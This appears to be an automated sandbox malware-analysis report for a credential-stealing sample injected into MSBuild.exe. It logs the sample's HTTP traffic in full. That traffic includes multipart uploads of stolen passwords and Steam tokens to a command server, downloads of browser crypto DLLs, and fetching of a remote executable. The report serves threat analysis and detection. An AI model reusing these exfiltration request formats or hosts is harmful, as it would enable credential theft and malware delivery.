Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBFHost: proxy.johnmccrea.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_data"------KFHJJJKKFHIDAAKFBFBF--
Source: global traffic	HTTP traffic detected: GET //freebl3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //mozglue.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //msvcp140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //softokn3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //vcruntime140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //nss3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHHost: proxy.johnmccrea.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="mode"3------BFIIEHJDBKJKECBFHDGH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="mode"4------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: proxy.johnmccrea.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 71 4e 45 34 4d 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_data"qNE4Mg==------DHIECGCAEBFIIDHIDGIE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: proxy.johnmccrea.comContent-Length: 114021Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="mode"5------CAKFIJDHJEGIDHJKKKJJ--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: playd.healthnlife.pkCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: proxy.johnmccrea.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 37 32 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="mode"51------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="task_id"1272547------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="status"1------KJDHCAFCGDAAKEBFIJDG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="mode"6------IJKJDAFHJDHIEBGCFIDB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: cowod.hopto.orgContent-Length: 5777Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104
Source: Joe Sandbox View	IP Address: 45.132.206.251 45.132.206.251

Source: Joe Sandbox View	ASN Name: CH-NET-ASRO CH-NET-ASRO
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: LIFELINK-ASRU LIFELINK-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:57015 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: beearvagueo.site

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.198.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.198.32
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //sql.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //freebl3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //mozglue.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //msvcp140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //softokn3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //vcruntime140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //nss3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: playd.healthnlife.pkCache-Control: no-cache

Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: / https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: LRPC-e9c77b0923665da6f1a/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=f3480da2fdb3d1182bfb98f2; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34832Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 04 Oct 2024 07:52:44 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ]steamstatic.beearvagueo.sitebeearvagueo.site/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' 